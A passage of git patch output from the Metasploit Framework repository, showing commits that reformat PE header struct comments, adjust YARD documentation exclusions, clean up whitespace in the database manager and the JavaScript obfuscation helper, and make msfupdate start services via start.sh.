for us this way [ 'uint32v', 'NtSignature', 0 ], @@ -222,24 +217,23 @@ class PeBase return FileHeader.new(rawdata) end - # - # typedef struct _IMAGE_IMPORT_DESCRIPTOR { - # union { - # DWORD Characteristics; // 0 for terminating null import descriptor - # DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) - # }; - # DWORD TimeDateStamp; // 0 if not bound, - # // -1 if bound, and real date\time stamp - # // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) - # // O.W. date/time stamp of DLL bound to (Old BIND) - # - # DWORD ForwarderChain; // -1 if no forwarders - # DWORD Name; - # DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses) - # } IMAGE_IMPORT_DESCRIPTOR; - # IMAGE_ORDINAL_FLAG32 = 0x80000000 IMAGE_IMPORT_DESCRIPTOR_SIZE = 20 + # Struct + # typedef struct _IMAGE_IMPORT_DESCRIPTOR { + # union { + # DWORD Characteristics; // 0 for terminating null import descriptor + # DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) + # }; + # DWORD TimeDateStamp; // 0 if not bound, + # // -1 if bound, and real date\time stamp + # // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) + # // O.W. date/time stamp of DLL bound to (Old BIND) + # + # DWORD ForwarderChain; // -1 if no forwarders + # DWORD Name; + # DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses) + # } IMAGE_IMPORT_DESCRIPTOR; IMAGE_IMPORT_DESCRIPTOR = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'OriginalFirstThunk', 0 ], [ 'uint32v', 'TimeDateStamp', 0 ], @@ -248,11 +242,10 @@ class PeBase [ 'uint32v', 'FirstThunk', 0 ] ) - # - # typedef struct _IMAGE_IMPORT_BY_NAME { - # WORD Hint; - # BYTE Name[1]; - # } IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME; + # typedef struct _IMAGE_IMPORT_BY_NAME { + # WORD Hint; + # BYTE Name[1]; + # } IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME; # class ImportDescriptor @@ -271,22 +264,22 @@ class PeBase end end - # - # typedef struct _IMAGE_EXPORT_DIRECTORY { - # DWORD Characteristics; - # DWORD TimeDateStamp; - # WORD MajorVersion; - # WORD MinorVersion; - # DWORD Name; - # DWORD Base; - # DWORD NumberOfFunctions; - # DWORD NumberOfNames; - # DWORD AddressOfFunctions; // RVA from base of image - # DWORD AddressOfNames; // RVA from base of image - # DWORD AddressOfNameOrdinals; // RVA from base of image - # } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; - # + # sizeof(struct _IMAGE_EXPORT_DESCRIPTOR) IMAGE_EXPORT_DESCRIPTOR_SIZE = 40 + # Struct defining the export table + # typedef struct _IMAGE_EXPORT_DIRECTORY { + # DWORD Characteristics; + # DWORD TimeDateStamp; + # WORD MajorVersion; + # WORD MinorVersion; + # DWORD Name; + # DWORD Base; + # DWORD NumberOfFunctions; + # DWORD NumberOfNames; + # DWORD AddressOfFunctions; // RVA from base of image + # DWORD AddressOfNames; // RVA from base of image + # DWORD AddressOfNameOrdinals; // RVA from base of image + # } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; IMAGE_EXPORT_DESCRIPTOR = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'Characteristics', 0 ], [ 'uint32v', 'TimeDateStamp', 0 ], @@ -320,12 +313,6 @@ class PeBase end end - # - # typedef struct _IMAGE_DATA_DIRECTORY { - # DWORD VirtualAddress; - # DWORD Size; - # } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; - # IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 IMAGE_DATA_DIRECTORY_SIZE = 8 IMAGE_DIRECTORY_ENTRY_EXPORT = 0 @@ -344,57 +331,62 @@ class PeBase IMAGE_DIRECTORY_ENTRY_IAT = 12 IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = 13 IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = 14 + # Struct + # typedef struct _IMAGE_DATA_DIRECTORY { + # DWORD VirtualAddress; + # DWORD Size; + # } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; IMAGE_DATA_DIRECTORY = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'VirtualAddress', 0 ], [ 'uint32v', 'Size', 0 ] ) + # Struct + # typedef struct _IMAGE_OPTIONAL_HEADER { + # // + # // Standard fields. + # // # - # typedef struct _IMAGE_OPTIONAL_HEADER { - # // - # // Standard fields. - # // + # WORD Magic; + # BYTE MajorLinkerVersion; + # BYTE MinorLinkerVersion; + # DWORD SizeOfCode; + # DWORD SizeOfInitializedData; + # DWORD SizeOfUninitializedData; + # DWORD AddressOfEntryPoint; + # DWORD BaseOfCode; + # DWORD BaseOfData; # - # WORD Magic; - # BYTE MajorLinkerVersion; - # BYTE MinorLinkerVersion; - # DWORD SizeOfCode; - # DWORD SizeOfInitializedData; - # DWORD SizeOfUninitializedData; - # DWORD AddressOfEntryPoint; - # DWORD BaseOfCode; - # DWORD BaseOfData; + # // + # // NT additional fields. + # // # - # // - # // NT additional fields. - # // + # DWORD ImageBase; + # DWORD SectionAlignment; + # DWORD FileAlignment; + # WORD MajorOperatingSystemVersion; + # WORD MinorOperatingSystemVersion; + # WORD MajorImageVersion; + # WORD MinorImageVersion; + # WORD MajorSubsystemVersion; + # WORD MinorSubsystemVersion; + # DWORD Win32VersionValue; + # DWORD SizeOfImage; + # DWORD SizeOfHeaders; + # DWORD CheckSum; + # WORD Subsystem; + # WORD DllCharacteristics; + # DWORD SizeOfStackReserve; + # DWORD SizeOfStackCommit; + # DWORD SizeOfHeapReserve; + # DWORD SizeOfHeapCommit; + # DWORD LoaderFlags; + # DWORD NumberOfRvaAndSizes; + # IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; + # } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32; # - # DWORD ImageBase; - # DWORD SectionAlignment; - # DWORD FileAlignment; - # WORD MajorOperatingSystemVersion; - # WORD MinorOperatingSystemVersion; - # WORD MajorImageVersion; - # WORD MinorImageVersion; - # WORD MajorSubsystemVersion; - # WORD MinorSubsystemVersion; - # DWORD Win32VersionValue; - # DWORD SizeOfImage; - # DWORD SizeOfHeaders; - # DWORD CheckSum; - # WORD Subsystem; - # WORD DllCharacteristics; - # DWORD SizeOfStackReserve; - # DWORD SizeOfStackCommit; - # DWORD SizeOfHeapReserve; - # DWORD SizeOfHeapCommit; - # DWORD LoaderFlags; - # DWORD NumberOfRvaAndSizes; - # IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; - # } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32; - # - # #define IMAGE_NT_OPTIONAL_HDR32_MAGIC 0x10b - # #define IMAGE_SIZEOF_NT_OPTIONAL32_HEADER 224 + # #define IMAGE_NT_OPTIONAL_HDR32_MAGIC 0x10b + # #define IMAGE_SIZEOF_NT_OPTIONAL32_HEADER 224 # IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b @@ -450,46 +442,44 @@ class PeBase )] ) - # - # typedef struct _IMAGE_OPTIONAL_HEADER64 { - # USHORT Magic; - # UCHAR MajorLinkerVersion; - # UCHAR MinorLinkerVersion; - # ULONG SizeOfCode; - # ULONG SizeOfInitializedData; - # ULONG SizeOfUninitializedData; - # ULONG AddressOfEntryPoint; - # ULONG BaseOfCode; - # ULONGLONG ImageBase; - # ULONG SectionAlignment; - # ULONG FileAlignment; - # USHORT MajorOperatingSystemVersion; - # USHORT MinorOperatingSystemVersion; - # USHORT MajorImageVersion; - # USHORT MinorImageVersion; - # USHORT MajorSubsystemVersion; - # USHORT MinorSubsystemVersion; - # ULONG Win32VersionValue; - # ULONG SizeOfImage; - # ULONG SizeOfHeaders; - # ULONG CheckSum; - # USHORT Subsystem; - # USHORT DllCharacteristics; - # ULONGLONG SizeOfStackReserve; - # ULONGLONG SizeOfStackCommit; - # ULONGLONG SizeOfHeapReserve; - # ULONGLONG SizeOfHeapCommit; - # ULONG LoaderFlags; - # ULONG NumberOfRvaAndSizes; - # IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; - # } IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64; - # - # #define IMAGE_NT_OPTIONAL_HDR64_MAGIC 0x20b # #define IMAGE_SIZEOF_NT_OPTIONAL64_HEADER 240 - # - IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b + # #define IMAGE_NT_OPTIONAL_HDR64_MAGIC 0x20b IMAGE_SIZEOF_NT_OPTIONAL64_HEADER = 240 + + # Struct + # typedef struct _IMAGE_OPTIONAL_HEADER64 { + # USHORT Magic; + # UCHAR MajorLinkerVersion; + # UCHAR MinorLinkerVersion; + # ULONG SizeOfCode; + # ULONG SizeOfInitializedData; + # ULONG SizeOfUninitializedData; + # ULONG AddressOfEntryPoint; + # ULONG BaseOfCode; + # ULONGLONG ImageBase; + # ULONG SectionAlignment; + # ULONG FileAlignment; + # USHORT MajorOperatingSystemVersion; + # USHORT MinorOperatingSystemVersion; + # USHORT MajorImageVersion; + # USHORT MinorImageVersion; + # USHORT MajorSubsystemVersion; + # USHORT MinorSubsystemVersion; + # ULONG Win32VersionValue; + # ULONG SizeOfImage; + # ULONG SizeOfHeaders; + # ULONG CheckSum; + # USHORT Subsystem; + # USHORT DllCharacteristics; + # ULONGLONG SizeOfStackReserve; + # ULONGLONG SizeOfStackCommit; + # ULONGLONG SizeOfHeapReserve; + # ULONGLONG SizeOfHeapCommit; + # ULONG LoaderFlags; + # ULONG NumberOfRvaAndSizes; + # IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; + # } IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64; IMAGE_OPTIONAL_HEADER64 = Rex::Struct2::CStructTemplate.new( [ 'uint16v', 'Magic', 0 ], [ 'uint8', 'MajorLinkerVersion', 0 ], @@ -601,27 +591,24 @@ class PeBase end - # - # typedef struct _IMAGE_SECTION_HEADER { - # BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; - # union { - # DWORD PhysicalAddress; - # DWORD VirtualSize; - # } Misc; - # DWORD VirtualAddress; - # DWORD SizeOfRawData; - # DWORD PointerToRawData; - # DWORD PointerToRelocations; - # DWORD PointerToLinenumbers; - # WORD NumberOfRelocations; - # WORD NumberOfLinenumbers; - # DWORD Characteristics; - # } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; - # # #define IMAGE_SIZEOF_SECTION_HEADER 40 - # - IMAGE_SIZEOF_SECTION_HEADER = 40 + # Struct + # typedef struct _IMAGE_SECTION_HEADER { + # BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; + # union { + # DWORD PhysicalAddress; + # DWORD VirtualSize; + # } Misc; + # DWORD VirtualAddress; + # DWORD SizeOfRawData; + # DWORD PointerToRawData; + # DWORD PointerToRelocations; + # DWORD PointerToLinenumbers; + # WORD NumberOfRelocations; + # WORD NumberOfLinenumbers; + # DWORD Characteristics; + # } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; IMAGE_SECTION_HEADER = Rex::Struct2::CStructTemplate.new( [ 'string', 'Name', 8, '' ], [ 'uint32v', 'Misc', 0 ], @@ -669,17 +656,16 @@ class PeBase return section_headers end - # - # typedef struct _IMAGE_BASE_RELOCATION { - # DWORD VirtualAddress; - # DWORD SizeOfBlock; - # // WORD TypeOffset[1]; - # } IMAGE_BASE_RELOCATION; - # typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION; - # # #define IMAGE_SIZEOF_BASE_RELOCATION 8 - # IMAGE_SIZEOF_BASE_RELOCATION = 8 + + # Struct + # typedef struct _IMAGE_BASE_RELOCATION { + # DWORD VirtualAddress; + # DWORD SizeOfBlock; + # // WORD TypeOffset[1]; + # } IMAGE_BASE_RELOCATION; + # typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION; IMAGE_BASE_RELOCATION = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'VirtualAddress', 0 ], [ 'uint32v', 'SizeOfBlock', 0 ] @@ -739,29 +725,29 @@ class PeBase end end - # - # typedef struct { - # DWORD Size; - # DWORD TimeDateStamp; - # WORD MajorVersion; - # WORD MinorVersion; - # DWORD GlobalFlagsClear; - # DWORD GlobalFlagsSet; - # DWORD CriticalSectionDefaultTimeout; - # DWORD DeCommitFreeBlockThreshold; - # DWORD DeCommitTotalFreeThreshold; - # DWORD LockPrefixTable; // VA - # DWORD MaximumAllocationSize; - # DWORD VirtualMemoryThreshold; - # DWORD ProcessHeapFlags; - # DWORD ProcessAffinityMask; - # WORD CSDVersion; - # WORD Reserved1; - # DWORD EditList; // VA - # DWORD SecurityCookie; // VA - # DWORD SEHandlerTable; // VA - # DWORD SEHandlerCount; - # } IMAGE_LOAD_CONFIG_DIRECTORY32, *PIMAGE_LOAD_CONFIG_DIRECTORY32; + # Struct + # typedef struct { + # DWORD Size; + # DWORD TimeDateStamp; + # WORD MajorVersion; + # WORD MinorVersion; + # DWORD GlobalFlagsClear; + # DWORD GlobalFlagsSet; + # DWORD CriticalSectionDefaultTimeout; + # DWORD DeCommitFreeBlockThreshold; + # DWORD DeCommitTotalFreeThreshold; + # DWORD LockPrefixTable; // VA + # DWORD MaximumAllocationSize; + # DWORD VirtualMemoryThreshold; + # DWORD ProcessHeapFlags; + # DWORD ProcessAffinityMask; + # WORD CSDVersion; + # WORD Reserved1; + # DWORD EditList; // VA + # DWORD SecurityCookie; // VA + # DWORD SEHandlerTable; // VA + # DWORD SEHandlerCount; + # } IMAGE_LOAD_CONFIG_DIRECTORY32, *PIMAGE_LOAD_CONFIG_DIRECTORY32; # IMAGE_LOAD_CONFIG_DIRECTORY32 = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'Size', 0 ], @@ -786,30 +772,29 @@ class PeBase [ 'uint32v', 'SEHandlerCount', 0 ] ) - # - # typedef struct { - # ULONG Size; - # ULONG TimeDateStamp; - # USHORT MajorVersion; - # USHORT MinorVersion; - # ULONG GlobalFlagsClear; - # ULONG GlobalFlagsSet; - # ULONG CriticalSectionDefaultTimeout; - # ULONGLONG DeCommitFreeBlockThreshold; - # ULONGLONG DeCommitTotalFreeThreshold; - # ULONGLONG LockPrefixTable; // VA - # ULONGLONG MaximumAllocationSize; - # ULONGLONG VirtualMemoryThreshold; - # ULONGLONG ProcessAffinityMask; - # ULONG ProcessHeapFlags; - # USHORT CSDVersion; - # USHORT Reserved1; - # ULONGLONG EditList; // VA - # ULONGLONG SecurityCookie; // VA - # ULONGLONG SEHandlerTable; // VA - # ULONGLONG SEHandlerCount; - # } IMAGE_LOAD_CONFIG_DIRECTORY64, *PIMAGE_LOAD_CONFIG_DIRECTORY64; - # + # Struct + # typedef struct { + # ULONG Size; + # ULONG TimeDateStamp; + # USHORT MajorVersion; + # USHORT MinorVersion; + # ULONG GlobalFlagsClear; + # ULONG GlobalFlagsSet; + # ULONG CriticalSectionDefaultTimeout; + # ULONGLONG DeCommitFreeBlockThreshold; + # ULONGLONG DeCommitTotalFreeThreshold; + # ULONGLONG LockPrefixTable; // VA + # ULONGLONG MaximumAllocationSize; + # ULONGLONG VirtualMemoryThreshold; + # ULONGLONG ProcessAffinityMask; + # ULONG ProcessHeapFlags; + # USHORT CSDVersion; + # USHORT Reserved1; + # ULONGLONG EditList; // VA + # ULONGLONG SecurityCookie; // VA + # ULONGLONG SEHandlerTable; // VA + # ULONGLONG SEHandlerCount; + # } IMAGE_LOAD_CONFIG_DIRECTORY64, *PIMAGE_LOAD_CONFIG_DIRECTORY64; IMAGE_LOAD_CONFIG_DIRECTORY64 = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'Size', 0 ], [ 'uint32v', 'TimeDateStamp', 0 ], @@ -838,12 +823,14 @@ class PeBase end + #-- # doesn't seem to be used -- not compatible with 64-bit #def self._parse_config_header(rawdata) # header = IMAGE_LOAD_CONFIG_DIRECTORY32.make_struct # header.from_s(rawdata) # ConfigHeader.new(header) #end + #++ def _parse_config_header @@ -879,30 +866,29 @@ class PeBase # TLS Directory # - # - # typedef struct { - # DWORD Size; - # DWORD TimeDateStamp; - # WORD MajorVersion; - # WORD MinorVersion; - # DWORD GlobalFlagsClear; - # DWORD GlobalFlagsSet; - # DWORD CriticalSectionDefaultTimeout; - # DWORD DeCommitFreeBlockThreshold; - # DWORD DeCommitTotalFreeThreshold; - # DWORD LockPrefixTable; // VA - # DWORD MaximumAllocationSize; - # DWORD VirtualMemoryThreshold; - # DWORD ProcessHeapFlags; - # DWORD ProcessAffinityMask; - # WORD CSDVersion; - # WORD Reserved1; - # DWORD EditList; // VA - # DWORD SecurityCookie; // VA - # DWORD SEHandlerTable; // VA - # DWORD SEHandlerCount; - # } IMAGE_LOAD_CONFIG_DIRECTORY32, *PIMAGE_LOAD_CONFIG_DIRECTORY32; - # + # Struct + # typedef struct { + # DWORD Size; + # DWORD TimeDateStamp; + # WORD MajorVersion; + # WORD MinorVersion; + # DWORD GlobalFlagsClear; + # DWORD GlobalFlagsSet; + # DWORD CriticalSectionDefaultTimeout; + # DWORD DeCommitFreeBlockThreshold; + # DWORD DeCommitTotalFreeThreshold; + # DWORD LockPrefixTable; // VA + # DWORD MaximumAllocationSize; + # DWORD VirtualMemoryThreshold; + # DWORD ProcessHeapFlags; + # DWORD ProcessAffinityMask; + # WORD CSDVersion; + # WORD Reserved1; + # DWORD EditList; // VA + # DWORD SecurityCookie; // VA + # DWORD SEHandlerTable; // VA + # DWORD SEHandlerCount; + # } IMAGE_LOAD_CONFIG_DIRECTORY32, *PIMAGE_LOAD_CONFIG_DIRECTORY32; IMAGE_LOAD_TLS_DIRECTORY32 = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'Size', 0 ], [ 'uint32v', 'TimeDateStamp', 0 ], @@ -926,30 +912,29 @@ class PeBase [ 'uint32v', 'SEHandlerCount', 0 ] ) - # - # typedef struct { - # ULONG Size; - # ULONG TimeDateStamp; - # USHORT MajorVersion; - # USHORT MinorVersion; - # ULONG GlobalFlagsClear; - # ULONG GlobalFlagsSet; - # ULONG CriticalSectionDefaultTimeout; - # ULONGLONG DeCommitFreeBlockThreshold; - # ULONGLONG DeCommitTotalFreeThreshold; - # ULONGLONG LockPrefixTable; // VA - # ULONGLONG MaximumAllocationSize; - # ULONGLONG VirtualMemoryThreshold; - # ULONGLONG ProcessAffinityMask; - # ULONG ProcessHeapFlags; - # USHORT CSDVersion; - # USHORT Reserved1; - # ULONGLONG EditList; // VA - # ULONGLONG SecurityCookie; // VA - # ULONGLONG SEHandlerTable; // VA - # ULONGLONG SEHandlerCount; - # } IMAGE_LOAD_CONFIG_DIRECTORY64, *PIMAGE_LOAD_CONFIG_DIRECTORY64; - # + # Struct + # typedef struct { + # ULONG Size; + # ULONG TimeDateStamp; + # USHORT MajorVersion; + # USHORT MinorVersion; + # ULONG GlobalFlagsClear; + # ULONG GlobalFlagsSet; + # ULONG CriticalSectionDefaultTimeout; + # ULONGLONG DeCommitFreeBlockThreshold; + # ULONGLONG DeCommitTotalFreeThreshold; + # ULONGLONG LockPrefixTable; // VA + # ULONGLONG MaximumAllocationSize; + # ULONGLONG VirtualMemoryThreshold; + # ULONGLONG ProcessAffinityMask; + # ULONG ProcessHeapFlags; + # USHORT CSDVersion; + # USHORT Reserved1; + # ULONGLONG EditList; // VA + # ULONGLONG SecurityCookie; // VA + # ULONGLONG SEHandlerTable; // VA + # ULONGLONG SEHandlerCount; + # } IMAGE_LOAD_CONFIG_DIRECTORY64, *PIMAGE_LOAD_CONFIG_DIRECTORY64; IMAGE_LOAD_TLS_DIRECTORY64 = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'Size', 0 ], [ 'uint32v', 'TimeDateStamp', 0 ], @@ -1014,14 +999,13 @@ class PeBase # ## - # - # typedef struct _IMAGE_RUNTIME_FUNCTION_ENTRY { - # DWORD BeginAddress; - # DWORD EndAddress; - # DWORD UnwindInfoAddress; - # } _IMAGE_RUNTIME_FUNCTION_ENTRY, *_PIMAGE_RUNTIME_FUNCTION_ENTRY; - # IMAGE_RUNTIME_FUNCTION_ENTRY_SZ = 12 + # Struct + # typedef struct _IMAGE_RUNTIME_FUNCTION_ENTRY { + # DWORD BeginAddress; + # DWORD EndAddress; + # DWORD UnwindInfoAddress; + # } _IMAGE_RUNTIME_FUNCTION_ENTRY, *_PIMAGE_RUNTIME_FUNCTION_ENTRY; IMAGE_RUNTIME_FUNCTION_ENTRY = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'BeginAddress', 0 ], [ 'uint32v', 'EndAddress', 0 ], @@ -1069,7 +1053,7 @@ class PeBase class UnwindInfo def initialize(pe, unwind_rva) data = pe.read_rva(unwind_rva, UNWIND_INFO_HEADER_SZ) - + unwind = UNWIND_INFO_HEADER.make_struct unwind.from_s(data) @@ -1115,26 +1099,26 @@ class PeBase def _load_exception_directory @exception = [] - + exception_entry = _optional_header['DataDirectory'][IMAGE_DIRECTORY_ENTRY_EXCEPTION] rva = exception_entry.v['VirtualAddress'] size = exception_entry.v['Size'] - + return if (rva == 0) - + data = _isource.read(rva_to_file_offset(rva), size) - + case hdr.file.Machine when IMAGE_FILE_MACHINE_AMD64 count = data.length / IMAGE_RUNTIME_FUNCTION_ENTRY_SZ - + count.times { |current| @exception << RuntimeFunctionEntry.new(self, data.slice!(0, IMAGE_RUNTIME_FUNCTION_ENTRY_SZ)) } else end - + return @exception end @@ -1651,7 +1635,7 @@ class PeBase rname.to_s end - + def update_checksum off = _dos_header.e_lfanew + IMAGE_FILE_HEADER_SIZE + 0x40 _isource.rawdata[off, 4] = [0].pack('V') From a57f04adb418ca112674d02d6df2c03ea2567a6c Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 5 Mar 2013 14:34:27 -0600 Subject: [PATCH 298/341] Exclude tests from documentation --- Rakefile | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/Rakefile b/Rakefile index a365eedfb9..d32e9352cb 100644 --- a/Rakefile +++ b/Rakefile @@ -16,11 +16,16 @@ namespace :yard do '-', 'COPYING', 'HACKING', - 'THIRD-PARTY.md' + 'LICENSE', + 'CONTRIBUTING.md', ] yard_options = [ # include documentation for protected methods for developers extending the code. - '--protected' + '--protected', + # Don't bother with files meant to be examples + '--exclude', 'samples/', + '--exclude', '\.ut\.rb/', + '--exclude', '\.ts\.rb/', ] YARD::Rake::YardocTask.new(:doc) do |t| From a928e5f963199e394c8402a17674035bb616cd4c Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 5 Mar 2013 14:34:56 -0600 Subject: [PATCH 299/341] Whitespace --- lib/msf/core/db.rb | 40 ++++++++++++++++++++-------------------- 1 file changed, 20 insertions(+), 20 deletions(-) diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb index 9b5c8d8212..bd6d0e4d81 100644 --- a/lib/msf/core/db.rb +++ b/lib/msf/core/db.rb @@ -699,7 +699,7 @@ class DBManager if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] mod_fullname = sess_data[:datastore]['ParentModule'] mod_name = ::Mdm::ModuleDetail.find_by_fullname(mod_fullname).name - else + else mod_name = mod.name mod_fullname = mod.fullname end @@ -719,7 +719,7 @@ class DBManager vuln_info[:service] = service if service vuln = framework.db.report_vuln(vuln_info) - + if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] via_exploit = sess_data[:datastore]['ParentModule'] else @@ -738,7 +738,7 @@ class DBManager } framework.db.report_exploit_success(attempt_info) - + end s @@ -871,7 +871,7 @@ class DBManager ref.to_s end }) - + # Try find a matching vulnerability vuln = find_vuln_by_refs(ref_objs, host, svc) end @@ -890,7 +890,7 @@ class DBManager attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id] vuln.vuln_attempts.create(attempt_info) - + # Correct the vuln's associated service if necessary if svc and vuln.service_id.nil? vuln.service = svc @@ -909,12 +909,12 @@ class DBManager attempt_info[:vuln_id] = vuln.id if vuln attempt_info[:session_id] = opts[:session_id] if opts[:session_id] attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id] - + if svc attempt_info[:port] = svc.port attempt_info[:proto] = svc.proto end - + if port and svc.nil? attempt_info[:port] = port attempt_info[:proto] = prot || "tcp" @@ -937,7 +937,7 @@ class DBManager timestamp = opts.delete(:timestamp) freason = opts.delete(:fail_reason) - fdetail = opts.delete(:fail_detail) + fdetail = opts.delete(:fail_detail) username = opts.delete(:username) mname = opts.delete(:module) @@ -968,7 +968,7 @@ class DBManager ref.to_s end }) - + # Try find a matching vulnerability vuln = find_vuln_by_refs(ref_objs, host, svc) end @@ -1003,7 +1003,7 @@ class DBManager attempt_info[:port] = svc.port attempt_info[:proto] = svc.proto end - + if port and svc.nil? attempt_info[:port] = port attempt_info[:proto] = prot || "tcp" @@ -1018,7 +1018,7 @@ class DBManager ::ActiveRecord::Base.connection_pool.with_connection { return if not vuln info = {} - + # Opts can be keyed by strings or symbols ::Mdm::VulnAttempt.column_names.each do |kn| k = kn.to_sym @@ -1037,7 +1037,7 @@ class DBManager ::ActiveRecord::Base.connection_pool.with_connection { return if not host info = {} - + # Opts can be keyed by strings or symbols ::Mdm::VulnAttempt.column_names.each do |kn| k = kn.to_sym @@ -1623,7 +1623,7 @@ class DBManager # If a match is found on a vulnerability with no associated service, # update that vulnerability with our service information. This helps # prevent dupes of the same vuln found by both local patch and - # service detection. + # service detection. if rids and rids.length > 0 vuln = find_vuln_by_refs(rids, host, service) vuln.service = service if vuln @@ -1651,7 +1651,7 @@ class DBManager else vuln = host.vulns.find_by_name(name) end - + unless vuln vinf = { @@ -1660,7 +1660,7 @@ class DBManager :info => info } - vinf[:service_id] = service.id if service + vinf[:service_id] = service.id if service vuln = Mdm::Vuln.create(vinf) end end @@ -1681,7 +1681,7 @@ class DBManager # Handle vuln_details parameters report_vuln_details(vuln, details) if details - + vuln } end @@ -4196,9 +4196,9 @@ class DBManager # Takes an array of vuln hashes, as returned by the NeXpose rawxml stream # parser, like: # [ - # {"id"=>"winreg-notes-protocol-handler", severity="8", "refs"=>[{"source"=>"BID", "value"=>"10600"}, ...]} - # {"id"=>"windows-zotob-c", severity="8", "refs"=>[{"source"=>"BID", "value"=>"14513"}, ...]} - # ] + # {"id"=>"winreg-notes-protocol-handler", severity="8", "refs"=>[{"source"=>"BID", "value"=>"10600"}, ...]} + # {"id"=>"windows-zotob-c", severity="8", "refs"=>[{"source"=>"BID", "value"=>"14513"}, ...]} + # ] # and transforms it into a struct, containing :id, :refs, :title, and :severity # # Other attributes can be added later, as needed. @@ -5095,7 +5095,7 @@ class DBManager # # This method normalizes an incoming service name to one of the # the standard ones recognized by metasploit - # + # def service_name_map(proto) return proto unless proto.kind_of? String case proto.downcase From 3acccd71f7ff0beb07af0140044066a2c80dd3dd Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 5 Mar 2013 14:35:27 -0600 Subject: [PATCH 300/341] Whitespace and doc fix --- lib/rex/exploitation/obfuscatejs.rb | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/lib/rex/exploitation/obfuscatejs.rb b/lib/rex/exploitation/obfuscatejs.rb index 94e17c06dc..70db94e338 100644 --- a/lib/rex/exploitation/obfuscatejs.rb +++ b/lib/rex/exploitation/obfuscatejs.rb @@ -18,12 +18,12 @@ class ObfuscateJS # # The 'Symbols' argument should have the following format: # - # { - # 'Variables' => [ 'var1', ... ], - # 'Methods' => [ 'method1', ... ], - # 'Namespaces' => [ 'n', ... ], - # 'Classes' => [ { 'Namespace' => 'n', 'Class' => 'y'}, ... ] - # } + # { + # 'Variables' => [ 'var1', ... ], + # 'Methods' => [ 'method1', ... ], + # 'Namespaces' => [ 'n', ... ], + # 'Classes' => [ { 'Namespace' => 'n', 'Class' => 'y'}, ... ] + # } # # Make sure you order your methods, classes, and namespaces by most # specific to least specific to prevent partial substitution. For @@ -138,14 +138,14 @@ class ObfuscateJS # while (buf.length < len) # buf << set[rand(set.length)].chr # end - # + # # buf #} end # Remove our comments remove_comments - + # Globally replace symbols replace_symbols(@opts['Symbols']) if @opts['Symbols'] @@ -191,9 +191,9 @@ protected next if symbols[symtype].nil? symbols[symtype].each { |sym| dyn = Rex::Text.rand_text_alpha(rand(32)+1) until dyn and not taken.key?(dyn) - + taken[dyn] = true - + if symtype == 'Classes' full_sym = sym['Namespace'] + "." + sym['Class'] @dynsym[full_sym] = dyn From 709ec8a519ad81c1469aea1205402a7c816b26b6 Mon Sep 17 00:00:00 2001 From: Brandon Turner Date: Tue, 5 Mar 2013 14:41:09 -0600 Subject: [PATCH 301/341] Use start.sh to start Pro via msfupdate command start.sh (installed with community/pro on apt installs) automatically starts dependency services (such as postgresql). --- msfupdate | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/msfupdate b/msfupdate index 029b80b566..d32010e5fb 100755 --- a/msfupdate +++ b/msfupdate @@ -224,7 +224,10 @@ if is_apt else $stdout.puts "[*] Updating to version #{pro_version || framework_version}" system("apt-get", "install", "--assume-yes", *packages) - system("/etc/init.d/metasploit start") if packages.include?('metasploit') + if packages.include?('metasploit') + start_cmd = File.expand_path(File.join(@msfbase_dir, '..', '..', '..', 'scripts', 